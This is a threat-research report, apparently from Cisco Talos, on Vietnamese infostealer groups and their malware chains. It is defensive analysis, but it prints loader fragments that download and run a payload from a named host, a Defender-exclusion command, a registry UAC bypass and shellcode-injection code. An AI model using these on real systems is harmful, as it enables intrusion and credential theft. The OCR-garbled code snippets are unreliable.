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VIETNAMESE HACKING GROUP: A RISING OF INFORMATION-STEALING...

ABSTRACT

In recent years, Vietnamese cybercrime groups have significantly advanced their capabilities, acquiring sophisticated tools
and tactics that have enhanced their operational success. The pandemic era marked a turning point, as these groups
expanded their credential theft operations to a global scale, discovering innovative methods to breach corporate firewalls
worldwide, thereby facilitating further criminal activities such as ransomware and information-stealing attacks.

This paper will expose the vast criminal enterprise these Vietnamese threat actor groups have constructed, detailing their
comprehensive software stacks, networks, and their sophisticated techniques, tactics and procedures (TTPs). Through
multiple case studies, we will illustrate the execution of information stealer attacks by Vietnamese cybercriminals,
including the deployment of infostealers, the use of rare living-off-the-land binaries (LOLBins), data exfiltration strategies,
and the exploitation of legitimate services for hosting command-and-control (C2) configuration files.

INTRODUCTION

Since the close of 2023, Cisco Talos research has unveiled at least three hacking groups originating from Vietnam that are
targeting a majority of Asian countries and select European nations. Driven by financial motivations, these groups are
primarily focused on stealing credentials, financial data and social media accounts, including those related to business and
advertising.

In this paper we will reveal several newly discovered malware families from the actors’ arsenal, such as RotBot (a modified
version of QuasarRAT), the XClient stealer, and the PXA BOT stealer, along with infamous malware such as CryptBot,
Lumma stealer and Rhadamanthys. This compelling exploration will not only highlight the evolving landscape of
Vietnamese cyber threats but also underscore the critical need for proactive cybersecurity measures.

CAMPAIGN OVERVIEWS

This paper brings together details of three campaigns:
» CoralRaider’s operations and the use of multiple information stealers [1, 2]
» The PXA Stealer Bot campaign by a Vietnamese hacking group [3]

* Threat actors’ use of copyright infringement phishing lures to deploy infostealers [4].

CORALRAIDER CAMPAIGN

Cisco Talos discovered a new threat actor that we’re calling ‘CoralRaider’ and which we believe is of Vietnamese origin
and financially motivated.
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ACTOR PROFILE
1P cisco
CoralRaider LN LR g, TALOS
Unknown
Vietnam
2023
Data theft and hijacking social media accounts for financial gains

India, China, South Korea, Bangladesh, Pakistan, Indonesia, Vietnam

Social engineering, data exfiltration, dead dropping and customized commadity loaders

CoralRaider employs a variety of customized commodity malware families such as
RotBot (QuasarRAT), XClient stealer, NetSupport RAT, AsyncRAT and Rhadamanthys.

Figure 1: CoralRaider threat actor profile.

CoralRaider has been operating since at least 2023, targeting victims in various locations, including the US, Nigeria,
Pakistan, Ecuador, Germany, Egypt, the UK, Poland, the Philippines, Norway, Japan, Syria and Turkey, based on our
telemetry data and OSINT information. Our telemetry data also disclosed that some affected users were from Japan’s
computer service call centre organizations as well as civil defence service organizations in Syria. The affected users were
downloading files masquerading as movie files through the browser, indicating the possibility of a widespread attack on
users across various business verticals and geographic locations.




VIETNAMESE HACKING GROUP: A RISING OF INFORMATION-STEALING...

Victimology

Figure 2: CoralRaider campaign victimology.

Attack summary

The CoralRaider attack starts with a malicious Windows shortcut (LNK) file, which, when opened, downloads and executes
an HTML application (HTA) file from an attacker-controlled server. The HTA file deploys an obfuscated Visual Basic
script that runs multiple PowerShell scripts in memory to evade detection, bypass User Access Controls, disable
notifications, and ultimately download and execute RotBot, a QuasarRAT variant. RotBot performs system reconnaissance
and detection evasion before connecting to a Telegram-based command-and-control server. It then loads the XClient stealer
plugin, which extracts sensitive data such as browser cookies, credentials, financial details, and social media information,
along with data from 7elegram and Discord applications. The plugin also captures desktop screenshots and archives the
stolen data into ZIP files, which are exfiltrated to the attacker’s Telegram C2.

CoralRaider infection summary
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Figure 3: CoralRaider — attack summary of first intrusion.
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In another intrusion, the attack also starts with a malicious Windows shortcut file contained in a ZIP file downloaded via
a drive-by download technique, likely delivered through phishing emails. The shortcut file executes an embedded
PowerShell command that runs a malicious HTA file hosted on attacker-controlled CDN domains. The HTA file
executes obfuscated JavaScript, which decodes and runs a PowerShell decrypter script. This script decrypts an
embedded PowerShell Loader script, which executes in memory, performing evasion techniques and bypassing User
Access Controls before downloading and running one of the payloads: Cryptbot, LummaC2, or Rhadamanthys
information stealers.

Infection summary
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Figure 4: CoralRaider — attack summary of second intrusion.

CoralRaider TTPs

RotBot to load and run the payload

RotBot, a remote access tool (RAT) compiled on 9 January 2024, is downloaded and runs on the victim machine disguised
as Printer Subsystem application ‘spoolsv.exe’. RotBot is a variant of the QuasarRAT client that the threat actor has
customized and compiled for their campaign.

During its initial execution, RotBot performs several checks on the victim’s machine to evade detection, including IP
address, ASN number, and running processes of the victim’s machine. It performs reconnaissance of system data on the
victim machine. It also configures the internet proxy on the victim machine by modifying the settings of the registry key:

Software\Microsoft\Windows\CurrentVersion\Internet
with the values:

ProxyServer = 127.0.0.1:80

ProxyEnable = 1

We observed that RotBot discovered in this campaign creates a mutex in the victim machine as the infection marker using
hard-coded strings in the binary.
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[DefaultSettingValue(" & uTaDAwdA T T (EgswE=HE95E")]
[UserScopedSetting]
[DebuggerNonUserCode]

I

{

["oatzhruaPP s FE NS Vod AR < "];

["eafzMua PP FND Ve AP "] =

Figure 5: Snippet of the RotBot loader binary.

RotBot loads and runs the XClient stealer module from its resources and uses the configuration parameters for its Telegram
C2 bot from the downloaded configuration file.

Figure 6: Snippet of the RotBot loader binary.

XClient stealer targets victims’ social media accounts

The XClient stealer sample we analysed in this campaign is a .Net executable compiled on 7 January 2024. It has
extensive information-stealing capability through its plugin module and various modules for performing remote
administrative tasks.

Figure 7: Snippet of the XClient stealer binary.
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XClient stealer has three primary functions that help it to avoid the radar. First, it will perform virtual environment evasion
if the victim’s machine runs in VMware or VirtualBox. It also checks if a DLL called sbieDI1.dll exists in the victim
machine file system to detect if it is running in the Sandboxie environment. XClient stealer also checks if anti-virus
software, including AVG, Avast and Kaspersky, is running on the victim’s machine.

After bypassing all the checking functions, the XClient stealer captures the victim’s machine screenshot, saves it with the
‘.png’ extension in the victim’s temporary user profile folder, and sends it to the C2 through the ‘/sendPhoto’ URL.

XClient stealer steals victims’ social media web application credentials, browser data, cookies and financial information such
as credit card details from user and business accounts of Facebook, Instagram and YouTube. It targets Chrome, Microsoft
Edge, Opera, Brave, CocCoc and Firefox browser data files through the absolute paths of the respective browser installation
paths. It extracts the contents of the browser database to a text file in the local temporary folder of the victim’s profile.

Finally, the XClient stealer stores the victim’s social media data, which is collected into a text file in the local user profile
temporary folder and creates a ZIP archive. The ZIP files are exfiltrated to the Telegram C2 through the ‘/sendDocument’
URL.

flag = !
(!flag)

flag2 =
(flag2)

t httpClient = ne (OH
httpClient

Figure 8: Snippet of the XClient stealer binary.

Evade detections and bypass User Access Controls

The actor used a PowerShell loader script and LOLBins to evade detection and bypass the User Access Controls in the
victim machine.

The PowerShell loader script is modular and has multiple functions to perform a sequence of activities on the victim’s
machine. Initially, it executes a function that drops a batch script in the victim machine’s temporary folder and writes its
contents, which includes the PowerShell command to add the victim machine’s ‘ProgramData’ folder to the Windows
Defender exclusion list.

The dropped batch script is executed through a LOLBin, ‘FoDHelper.exe’, and a programmatic identifier (ProgID) registry
key is used to bypass the User Access Controls in the victim’s machine. Fodhelper is a Windows feature, an on-demand
helper binary that runs by default with high integrity. Usually, when Fodhelper is run, it checks for the presence of the
registry keys listed below. If the registry keys have commands assigned, Fodhelper will execute them in an elevated context
without prompting the user.

HKCU:\Software\Classes\ms-settings\shell\open\command
HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute
HKCU:\Software\Classes\ms-settings\shell\open\command\(default)

By default, Windows Defender detects attempts to write to the ‘HKCU:\Software\Classes\ms-settings\shell\open\command’
registry keys, and to evade this detection the threat actor uses the programmatic identifier. In Windows machines, a
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programmatic identifier is a registry entry that can be associated with a Class ID (CLSID), which is a globally unique serial
number that identifies a COM (Component Object Model) class object. The Windows Shell uses a default ProgID registry
key called ‘CurVer’, which is used to set the default version of a COM application.

In this campaign, the threat actor abuses the CurVer registry key feature by creating a custom ProgID
‘ServiceHostXGRT’ registry key in the software classes registry and assigns the Windows shell to execute a command to
run the batch script.

Registry key Value

HKCU\Software\Classes\ServiceHostXGRT\Shell\Open\command Y%temp%\r.bat

The script configures the ProgID ‘ServiceHostXGRT’ in the CurVer registry subkey of ‘HKCU\Software\Classes\ms-
settings\CurVer’, which will get translated to ‘HKCU:\Software\Classes\ms-settings\shell\open\command’. After
modifying the registry settings, the PowerShell script runs Fodhelper.exe, executing the command assigned to the registry
key ‘HKCU:\Software\Classes\ms-settings\shell\open\command’, and executes the dropped batch script. Finally, it deletes
the configured registry keys to evade detection.

vHyLMI1()
{;sc $env:TMP\r.bat "
min pow 11
cmd /c

sleep 1;
cmd /c '

HKEY_CURREN

X
VHYLMI1 ;

IS_MNMZD set IS_MNMZD=1 && start "" /min "%~dpnx@" %* && exi
-Ww 1 -ep Unrestricted -nop Add-MpPreference -ExclusionPath C:\ProgramData; && e

First r.bat

Figure 9: Snippet of the CoralRaider PowerShell script.

The batch script adds the folder ‘C:\ProgramData’ to the Windows Defender exclusion list. The PowerShell loader script
downloads the payload and saves it in the ‘C:\ProgramData’ folder as ‘X1xDd.exe’.

tion ooa($FWk) https://dashdisk-1.b-cdn.net/x1xDd.exe

{$zm] = New-Object (KTn @(6373,6396,6411,6341,6382,6396,6393,6362,6403,6400,6396,6405,6411));
[Net.ServicePointManager]: :SecurityProtocol = [Net.SecurityProtocolType]::TLS12;

$fVP = $zmJ.DownloadData($FWk);

return $fVP};

on KTn ($0KX)
{$HeP=6295;
$y0X=$Null;
foreach($wwJ in $OKX)
{$yOX+=[char] ($wwI-$HeP) };
return $yOX};

ion TNK($WcE, $fVP){[I0.File]::WriteAllBytes($WcE, $fVP)};
$ghyth = @;

ion BgN()
{$rrC = $env:ProgramData + '\';;;$NplbA = $rrC + |'X1x c:\Programpata\X1xpd.exe
if (Test-Path -Path $NplbA)
{Lyo $NplbA;}
Else
{ $xEDvKm = ooa (KTn @(6399,6411,6411,6407,6410,6353,6342,6342,6395,6392,6410,6399,6395,6400,6410,6402,6340,6344,6341,6393,6340,
6394,6395,6405,6341,6405,6396,6411,6342,6383,6344, 6415, 6363,6395,6341,6396,6415,6396) ) ;
TNK $NplbA $xEDvVKm;
Lyo $NplbA};;;}
BaN;

Figure 10: Snippet of the CoralRaider PowerShell script.

After downloading the payload to the victim’s machine, the PowerShell loader executes another function that overwrites
the previously dropped batch file with the new instructions to run the downloaded payload information stealer through the
Windows start command. It uses the same Fodhelper technique as explained earlier in this section to run the batch script’s
second version.
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Lyo ($ieSPNEP) ta\xlxpd.e
MP\r.bat "if not DEFINED I set IS_MNMZD=1 && "M fmin ""%~dpnx@”" %* && exit ‘r'nstart /min [$ieSPNgEP] &8

IS_MNMZD IS_MNMZD=1 && "" /min "%~dpnx@" %* && exit
/min C:\ProgramData\X1xDd.exe && exit
Second r.bat

Figure 11: Snippet of the CoralRaider PowerShell script.

We discovered that the threat actor also delivered three famous information stealers as payloads in the campaign: CryptBot,
LummaC2 and Rhadamanthys. These information stealers target victims’ information, such as system and browser data,
credentials, cryptocurrency wallets and financial information.

CryptBot

CryptBot is a typical infostealer targeting Windows systems discovered in the wild by G DATA in 2019 [5]. It is designed to
steal sensitive information from infected computers, such as credentials from browsers, cryptocurrency wallets, browser
cookies and credit cards, and creates screenshots of the infected system.

Talos has discovered a new CryptBot variant distributed in the wild since January 2024. The goal of the new CryptBot is
the same, with some new innovative functionalities. The new CryptBot is packed with different techniques to obstruct
malware analysis. A few new CryptBot variants are packed with VMProtect V2.0.3-2.13; others also have VMProtect, but
with unknown versions. The new CryptBot attempts to steal sensitive information from infected machines and modifies the
configuration changes of the stolen applications. The list of targeted browsers, applications and cryptocurrency wallets by
the new variant of CryptBot is shown in Figure 12.

Targeted data and applications by new
Cryptbot varient

Cryptocurrency wallets

Avast Secure Browser . + Bitcoin +  Backpack
Brave - Applications - Litecoin - Xverse
Mozilla Firefox - Trezor - Dogecoin + UniSat
Cleaner Browser - KeePass - Motamask - Tonkeeper
Vivaldi - Authy two-factor authentication - Argent X - Safepal
Google Chrome - Google Authenticator - Braavos - Binance

Opera + Polka +  Phantom

Microsoft Edge - Soltiare + Sollet
Chromium + Bitwarden + TronLink
Slimjet + Last pass + Guarda
Comado Dragon = EnKrypt +  Atomic
Caccoc + Meowcoin + Yorol
360Chromex - Rabby - Jaxx Liberty
Cent Browser - ZiPay - Kepir
AVG Web Browser +  Exodusweb3 - Tezos
CatsxpSoftware + Trust +  Bitbox
Martian aptos + Ledger Live
Mult BitHD +  Waves-cient
Electrum - Exodus_Eden
OKX

Figure 12: Applications, browsers and crypto wallets targeted by CryptBot.
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We observed that the new CryptBot variant also includes password manager application databases and authenticator
application information in its stealing list to steal the cryptocurrency wallets that have two-factor authentication enabled.

LEext:@BDAFODA ; ------------------------------------=--“----=-------—=-—-—-——--=--————————-——-——-

ctext:880478DA push acsh

. text:@e8D47aDF mov edx, offset asleep ; "Sleep”

.text:880470E4 mov ecx, 1

Ltext:88D470E9 call functicn_call

text:@BD478EE call eax

ctext:eeD47are push offset aTrezorPassword ; "Trezor Password_Manager”
Ltext:eaD47ers

.text:e8D476F5 loc_D470FS: ; CODE XREF: sub_D46EE@+5954]

text:BB0478FS

Ltext:eeD47ers push 1
Ltext:eeD47aF7 push dword_DOgase
.text:eeD47eFD

.text:eeD47a8FD loc_D47@FD:

text:@aD478FD

sub_D4GEEB+EASL ]

-

CODE XREF: sub_D4GEE@+4594 ]
sub_D4GEEB+658AL]

"

-

.text:eeD478FD mov edx, ebx
.text:88D478FF mov ecx, edi
Ltext:eendilel call sub_D46E3@

. text:e8D47106 add esp, @ch
Ltext: 88047189 inc dword_Do338e

Jtext:eeD4718F jmp loc_D70489

ot s AENA T A

Figure 13: Snippet from the CryptBot binary.

CryptBot is aware that the target applications in the victim’s environment will have different versions, and their database
files will have different file extensions. It scans the victim’s machine for database files’ extensions of the targeted
applications for harvesting credentials.

TG = 9a00ed;
ABEL_71: // KeePass 2.x database files are .kdbx, while KeePass l.x are .kdb
if { (int)expend(file path, L".kdb") || (int)expend(file path, L".kdbx") || (int)expend(file path, L".pwd") )
if ( v2a || (v3e = (int (*)(void))function_call(l, "GetProcessHeap™), w24 = v38(), (94P@ee = v24) != @) )
1

_ stdcall *){int, int, int))}function_call{l, "HeapAlloc™);
24, B, 2048);

= ++dword_D99484;
{void (*)}(int, int, const wchar_t *, ...))unction_call(4, "wnsprintfW"};

2848, L":ilesﬂﬁkeePass‘H%d.¥;5"¢ vAl, path};

= 948000 ;
(void (_ stdcall *){int, _DWORD, int)})function_call(l, “HeapFree™)};
s 8, v32)5

Figure 14: Snippet from the CryptBot binary.

LummacC2

Talos discovered that the actor is delivering a new variant of LummaC2 malware as an alternative payload in this

campaign. LummaC2 is a notorious information stealer that attempts to harvest information from victims’ machines. Based
on the report posted by Outpost24 and other external security reports, LummaC2 has already been confirmed to have been

sold on the underground market for years [6].

The threat actor has modified LummaC2’s information stealer capability and obfuscated the malware with a custom
algorithm. The obfuscation algorithm is saved in another section inside the malware, shown in Figure 15.

property | value | value | value | value | value

section section[0] section[1] section[2] section[3] section[4]

name text rdata .data .reloc Xoym

footprint > sha256 03919FC24E175988EC546C8...  442A1202B2DF587C961F14C... B26B7EB701B86D37FFBOG2DE... 501FF014516F80F74512CDED... | 5C2445068620EB 1IFDECE32B...
entropy 6.761 5.947 7.294 6.702 5.940

fileratio (99.82%) 53.18 % 311 % 20,94 % 11.54 % 1.06 %

raw-address (begin) 0x00000400 0x00059400 0x0005DA00 0x0007B200 0x0003B600

raw-address {end) 0x00059400 0x0005DA00 0x00078200 0x0003B600 0x0008CEDD

raw-size (575000 bytes) 000059000 (354544 bytes) 0x00004600 (17920 bytes) 0x00010800 (120832 bytes) 000010400 (56560 bytes) 0x00001800 (5144 bytes)
virtual-address 0x00001000 0x0005A000 0x0005F000 0x0007ECOO 0x0003F000

virtual-size (581595 bytes) 0x00058F0E (354302 bytes) 0x0000448E (17550 bytes) 0x0001E874 (125044 bytes) 0x000103CC (56508 bytes) 0x00002000 (3192 bytes)

Figure 15: Lumma C2 PE sections.

The new version of LummaC2 also presents the same signature of the alert message displayed to the user during its
execution.




10

VIETNAMESE HACKING GROUP: A RISING OF INFORMATION-STEALING...

i Do you want to run a malware?
. (Crypt build to disable this message)

Figure 16: Notification warning pop-up by Lumma C2.

The C2 domains are encrypted with a symmetric algorithm, and we found that the actor has nine C2 servers that the
malware will attempt to connect to one by one. Analysing various samples of the new LummaC2 variant, we spotted that
each will use a different key to encrypt the C2.

Figure 17: Snippet of a Lumma C2 function.

Talos has compiled a list of nine C2 domains the new LummaC2 variant attempts to connect to in this campaign.

Encrypted strings

Decrypted strings

DjAXO00pkpcffFUItIGiiaZwjEaPFx8U3sZYohNNzphB+VXag

KwrRr7BjLA71GNEZSES/0K20tQ==

peasanthovecapspll[.]shop

DjAX00pkpcffFUItIGiiaZwjEaPFx8U3sZYohNNzphBpVXqw
OAHA075nPQT3Hc416EZ+x+ulrVjB

gemcreedarticulateod|.]shop

DjAX00pkpcffFUItIGiiaZwjEaPFx8U3sZYohNNzphB9VXSh
LxDMqLFmPATgC8Ma+U14zKy0oBnC/kf0

secretionsuitcasenioise[.]shop

DjAX00pkpcftFUIltlGiiaZwjEaPFx8U3sZYohNNzphBtXHa6J
wfKqbxwOh79B8wb+UF0jbavgkc=

claimconcessionrebe[.]shop

DjAX00pkpcffFUItIGiiaZwjEaPFx8U3sZYohNNzphBiWXaxI
wjMs6Z00x/1BsUM8UZ/2qyz60TZ+Vg=

liabilityarrangemenyit[.]shop

DjAX00pkpcffFUItIGiiaZwjEaPFx8U3sZYohNNzphBjX3020
RDAtKx0MAjiDcwE9U9mxq7ptl/eSg==

modestessayevenmilwek][.]
shop

DjAX00pkpcffFUItIGiiaZwjEaPFx8U3sZYohNNzphB6Qn6yJ
APJogqxwKB77BsAM8kB51K/ptl/e5g==

triangleseasonbenchwij[.]shop

DjAX00pkpcffFUItIGiiaZwjEaPFx8U3sZYohNNzphBtR XunP
xbAtLRWPQ78DssH/U1yyqSrqRnC/kf0

culturesketchfinanciall[.]shop

DjAX00pkpcftFUltlGiiaZwjEaPFx8U3sZYohNNzphB9X3Gyl
hHLs7Z7Lh74AcYM+Ep/xuu0rVjB

sofahuntingslidedine[.]shop
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LummaC2’s first step in its exfiltration phase is its connection to the C2 server. The malware will exit the process if it does
not receive the ‘OK’ message as a response from any of the nine C2 servers. The second step will be exfiltrating
information from infected machines. The basic stealing functionality is the same as the previous version, with the addition
of victims’ Discord credentials to exfiltrate.

-text:00440724 movups xmm@, xmmword ptr ds:aD_3 ; "D\x080i\x80s\x00c\x000\x00r\x08d" Discord

. text:0044972B movups xmmword ptr [ebx], xmm@

. text:0044972E movups xmm@, xmmword ptr ds:byte_45CC80

. text:00449735 movups xmmword ptr [ebx+1@h], xmm@

.text:00440739 movups xmm@, xmmword ptr ds:ad+4 5 "s\x@0c\x000\x00r \x00d \xBAC \xPBa\x@On" . . .

.text:00440740 movups xmmword ptr [ebx+2@8h], xmm® — — — — — — — — — — — —
.text:00440744 movups xmm@, xmmword ptr ds:aD+1280 db 'D*,0,1",0,%s",0,"c’,0,0",8,'r",0,"d",0,'C j?’ a’,8,'n’,9,%a’,0,’r
.text:0044074B movups  xmmword ptr [ebx+38h], xmn 5 DATA XREF: .text:08448663Tr pjscordCanary

. text:0044074F movdqu xmm@, xmmword ptr ds:aD_8+ e 5 -text:004407381r

. text:00440757 movdqu xmmword ptr [ebx+4@h], xmn db ?le ’E_’{?’e e e e e e
_text:0044075C mov dword ptr [ebx+5on], @ @09 dbjDS, 8,51558, 5550, 8¢5, 6,501, 8, i858, 50 5. 0,5 R, 8,015, 8, iR 5 6
T il o, [eiaEn] 5 DATA XREF: .text:0044B679Tr  pDiscordPTB

. text:00440766 mov [eax], ebx 5 -text:0044074Ftr

.text:00440768 lea eax, [ebx+54h] db e

. text:0044076B mov ecx, [esi+78h] db a

. text:0044076E mov [ecx], eax db @

Figure 18: Snippet of a Lumma C2 exfiltration function showing the Discord targets.

Rhadamanthys

The last payload we found in this campaign is Rhadamanthys, a well-known infostealer that first appeared in an
underground forum advertisement in September 2022. The Rhadamanthys malware has been evolving over time, and its
authors released a new version, v0.6.0, on 15 February 2024. However, the Rhadamanthys variant we found in this
campaign was v0.5.0.

- Pinned me:

Rhadamanthys FAQ

Telegraph

Version V0.6.0 update method

MainServer V0.6.0 1.Exporting file collections, telegram
notifications, and building configurations for source tagged
columns 2.Medify the configuration file (/usr/local/rhadamant...

‘% Rhadamanthys

B File Grab

Name Maximum size

2 File Grab

Figure 19: Rhadamanthys advertisement in an underground forum.

The threat actor uses a Python executable file as a loader to execute the Rhadamanthys malware in memory. After
decompiling the Python executable file, Python scripts load Rhadamanthys in two stages. The first stage is a simple Python
script that replaces the binary code from 0 to 9 and decodes the second stage.

fi : ]
t urllib.request, time, ctypes
t ctypes.wintypes
t time, basef4

(encoding) o

(BE('9111010001101001011011010110010100101110011100110110110601100101011001010111000020101000001101000011000100101001"')) #time

(B(Data.re ('9 2')))

Figure 20: Stage 1 Python decoder.
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In the second stage, the Python script uses the Windows API to allocate a memory block and inject Rhadamanthys into the
process. We spotted that the threat actor is developing the Python script with the intention of including the functionality of
executing a shellcode.

t ctypes
t ctypes.wintypes as PPPP
time

t base6d

#B64_PAMSI_PETW = "6IhjAACIYWAA]/u9dvuXzVeqBB7SpdpASLIxZ1PHBXVk4c0eMAZXFIqMAAAAAWLOSCIRpakbZCpRAQC7e64hwDuUBDCZE5@8Swoq5ZncFI8s fQUKwUNVQFO7 fRTYm

SHSH = "TVpFUugAAAAAWIPoCVAFAIATAP/QwwAAQ, BAAAAA4TUg4ATANNIbgBTMBhVGhp cyBwemIncmFtIGNhbmSvdCBiZ,

KOKO = ctypes.windll.kernel32
KOKO.VirtualAlloc.argtypes = (PPPP.LPVOID, ctypes.c_size_t, PPPP.DWORD, PPPP.DWORD)
KOKO.VirtualAlloc. restype = PPPP.LPVOID
KOKO.CreateRemoteThread.argtypes = (PPPP.HANDLE, PPPP.LPVOID, ctypes.c_size_t, PPPP.LPVOID, PPPP.LPVOID, PPPP.DWORD, PPPP.LPVOID)
CreateThread. restype = PPPP.HANDLE
.Rt1MoveMemory.argtypes = (PPPP.LPVOID, PPPP.LPVOID, ctypes.c_size_t}
.Rt1MoveMemory. restype = PPPP.LPVOID
.WaitForSingleObject.argtypes = (PPPP.HANDLE, PPPP.DWORD)
j restype = PPPP.DWORD

MAS ; (base64. {SHSH. (M, ' 1)
buf, buf) )
base64. (SH (1}, (base64. (SHSH. 0))

time. (73)

thrd2 = KOKO. {ctypes. (@), ctypes. (@), ctypes. (MAS), ctypes. (@), ctypes. (8), ctypes
time. (103)
KOKO. (thrd2, -1)

Figure 21: Stage 2 Python injector.

Our analysis of the final executable file showed that the malware unpacks the loader module with the custom format having
the magic header ‘XS’ and performs the process injection. The custom loader module in XS format is similar to that of a
Rhadamanthys sample analysed by Check Point [7]. The malware selects the target process for process injection from a
hard-coded list in the binary:

* “%Systemroot%\\system32\\dialer.exe’
* “%Systemroot%\\system32\\openwith.exe’

Address | Hex ASCII

00280000 |58 53 OB 01|05 00 BF 0O(ZC 00 03 Q0|00 FO OO0 OO0(XS....i.].a..D..
00280010( 80 10 00 00|78 00 00 00|90 B4 00 00|00 00 OO0 00| v eXeven sunnus
Q0280020 |00 0O OO 00|16 O3 OO0 QOO0 EO OO OOD|0O0 210 00 O0) e eannas Bevvnnn
00280030 | 7C 00 00 00|00 88 OO0 OO(03 00 00 OO|00 AD OD 00| |...ceenaeann co
00280040 (7C 85 00 0O|00 OC OO OO|03 OO0 00 OO(00 BO OO0 00| |eeeeennnanns E
00280050 (7C 94 00 OO|00 OE OO 00|02 OO0 00 OO(00 CO 0D 00| |eeeeennnnens AL
00280060 | 7C A2 00 00|00 12 OO0 OO(06& OO OO0 OO|00 EO OO OO |€...0.veean. a..
00280070 | 7C B4 00O 00|00 O& OO 0O|0A OO OO OQO|90 290 90 920 |' ..............
00280080 |90 90 20 90|90 290 20 90|20 90 20 20|90 90 90 90| .. .cv e e ennnnnnnnn
00280090 |90 90 20 90|90 290 290 90|20 90 20 20|90 90 90 90| .. .cv e cnnnnnnnnn
00280040 |90 90 20 90|90 290 290 90|20 90 20 20|90 90 90 90| .. .cv e en s nnnnn
002800B0 | 20 90 20 90|90 290 20 90|20 90 20 20|90 90 90 90| .. .v e ennnnnnnnn
Q02800C0 |90 90 20 90|90 290 290 90|20 90 290 20|90 90 90 90| .. .cv e n s nnnnn
00280000 | 920 90 20 90|90 290 290 90|20 90 20 20|90 90 90 90| ... v e n s nnnnn
002800E0Q | 8D A4 24 QOQ|00 OO OO0 OS5 (00 OO0 OO OO|4C SB D1 BES|.HE......... L.RL
002800F0 | 00 OO OO OQOO|0OF O5 C3 OS5 |00 00 OO0 OOD|E9 BC 65 00| ... w.a. A, &,
00280100( 00 E9 09 &7 |00 00 FF 71|08 FF 71 0O4|FF 31 FF DO|.&.d..¥q.¥q.V1ly
o0zB0110 (| C2 04 OO0 CC|CC CC CC CC|CC CC CC CC|55 BB EC &7 ﬁ..IIIIIIIIIU.1h
00280120 |56 BB 75 0OC|8B 4D 10 BEB|7D OB BB C1|BE D1 03 Cé& V.u..M..}..A.ﬁ.i
00280130| 3B FE 76 08|3B F8 OF 82|74 01 00 QO|FF7 C7F 03 0O ;bv.;a..t.. =5o o
00280140| 00 00 75 14|C1 E9 02 B3|EZ 03 83 F9|08 72 29 F3|..u.Aé..4d..0U rjé
00280150 | A5 FF 24 95 |E6 11 00 00|8BB C7F BA 03|00 OO0 OO 83 ¥F$.E...,C5 .....

Figure 22: Rhadamanthys binary with the XS magic header.
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PXA STEALER BOT CAMPAIGN BY A VIETNAMESE HACKING GROUP

Talos discovered a new information-stealing campaign in November 2024 operated by a Vietnamese-speaking threat actor
targeting the education sector in India and government organizations in European countries, including Sweden and
Denmark, based on Talos telemetry data.

The threat actor used a new Python program called PXA BOT Stealer that targets victims’ sensitive information, including
credentials for various online accounts, VPN and FTP clients, financial information, browser cookies, and data from
gaming software. The stealer has the capability to decrypt the victim’s browser master password and uses it to steal the
stored credentials of various online accounts. The attacker has incorporated complex obfuscation techniques for the batch
scripts used in this campaign.

We discovered the attacker selling credentials and tools in the Telegram channel ‘Mua Ban Scan MINI’, which is where the
CoralRaider adversary operates, but we are not sure whether the attacker belongs to the CoralRaider threat group or another
Vietnamese cybercrime group.

Infection Chain

Python Antivirus ;
evader script
synaptics.exe
(Portable Python executable

Phishing
E ZIP Attachment

Rust Loader

Figure 23: PXA stealer infection chain.

PXA_BOT intrusion

According to our telemetry data, the attacker gains initial access by sending a phishing email with a ZIP file attachment.
The ZIP file contains a malicious loader executable file compiled in Rust language and a hidden folder called ‘Photos’. The
hidden folder has other recurring folders, such as ‘Documents’ and ‘Images’, that contain obfuscated Windows batch scripts
and a decoy PDF document.

When a victim extracts the ZIP attachment file, the hidden folder and the malicious Rust loader executable are dropped
onto the victim machine. When the malicious Rust loader executable is run by the victim, it loads and executes multiple
obfuscated batch scripts that are in the dropped hidden folders.

Snippet of the obfuscated batch script Snippet of the deobfuscated batch script

1M1cK1.bKTMp:~-17, 1') | powershellExec

%% 10T rifh%% 2%%UcLNd sO%%sk3s%sTLS LKX%%u%%sKIAD C | s%v3s%0IWPVV % SspowershellExecks (%ctIjg% &
UM d# J $a%%0%%Y E [URC (%s%vassKckFx%

"asf [5$Co%ABrastshc 1L (wYsqoaX LALDFoefsyisis tKUNC g hall LT ] Xbis t%2p#h ) s | %% U%"%s ) dwbhés® j %% Imk ?
CUssfsgfs) D (W) 1%%n%%D 7 2 50%%n %% 7 UK ? Lwie%G Los%pN 7 TO#s%25%%Zr | 7

Tda%%g%%PaekzDMe%se%gbn ] tMUS=%Xk t ICy p%%E 1%%9ZPY zKk%: SsxuTmhwR%\%QbaJ [5%%Y 1%%C r F#Tqb%%kss%]
0] ] zys%p%%puPhCI%% TS 2t j dnssqsesXZ TKpe | %%y %%R0xM) wgsussCc0) IC%\%zarekZGs%U1%%hmStq (Vs
a%%2SpeMBsusSI$GHx 7 e%%dRiveRdaTA: ~-35,

1%01%%] ) ) _zZ%3%Y1%%P] DQ0%6%S SAMP% 4%V ) X F 5%\ %S 1KSMLSY 155 WC SWJ Yokl ] t#, %%p%%ste 1t Spss et
1 2C%%a%BXGAND %% ) xUIMj %] , EWVE%R1%%5pURg OMA%Ss %%

($5_SK%%y%%YKIL f%%0%%DBrzA%%t%%U1YdyF (%%U1%%c Z1oUTd%%] %%PXfDM%%0%% CGTKVA%N%%0 , _Z5twis%n%
%WeDS rs\%zgrod risxssUlumcs1%t LTh] F]%. SUNWnURI%0%tPYdz sA%\%XNBm] %% r¥s%iax$dj%%0S : ~4,

155y %%qASNS %%, MTIR%s t%%RKgDXp [ %] ZC 1% %% YEQF0%%KDOT : ~34 , 15%n%%Gt _Gk0a%%n%%j 0Z
Tn(%. %( c HnZ%%g%%Ymmz s%hsz%% rapHL rissg%%# [afQoi%" %] sLXAz% &

set /a aNs=05«(02262640xd4d5)

goT0 , AnS

1128822

gejq $fuv = [Ulauvgo.K1Q1.RLcvj]: :Elqodkpg ( [UlauvgDriVeRDAta:~—22,
1.G1pxktapogpyv]: : T1gvH1gnfgtRicyj ( 'NlgecnCirrnkecvkapFleve'), 'GLCIPN1CZWIMICOMMONPROgraMw6432:~8,

1K1'); C1ff-Vlarg ~CluugodnaPlcog Ulauvgo.K1Q1.ElqortguukaAPpdATA:~-2,

1.H1kngUlauvgo; kh (Viguv-Rlcvj $fuv) { T1gogxg-KITEMP:~-13, 1go -T1gepuBLIC:~10, 1tug -Hlgteg
"$DrIVErdaTai~-32, 1uv\*" } gnug { P1gy-Klvgo -KDOT:~60, vgovlarg
FlktgevqtDRIVErdATA:~12, 1 -Higteg $fuv } ;

[U1auvgo.K1Q1.Elqortguukqp.BlkrHlkng] : :G1zvtceLOCALaPPDAta: ~-8,

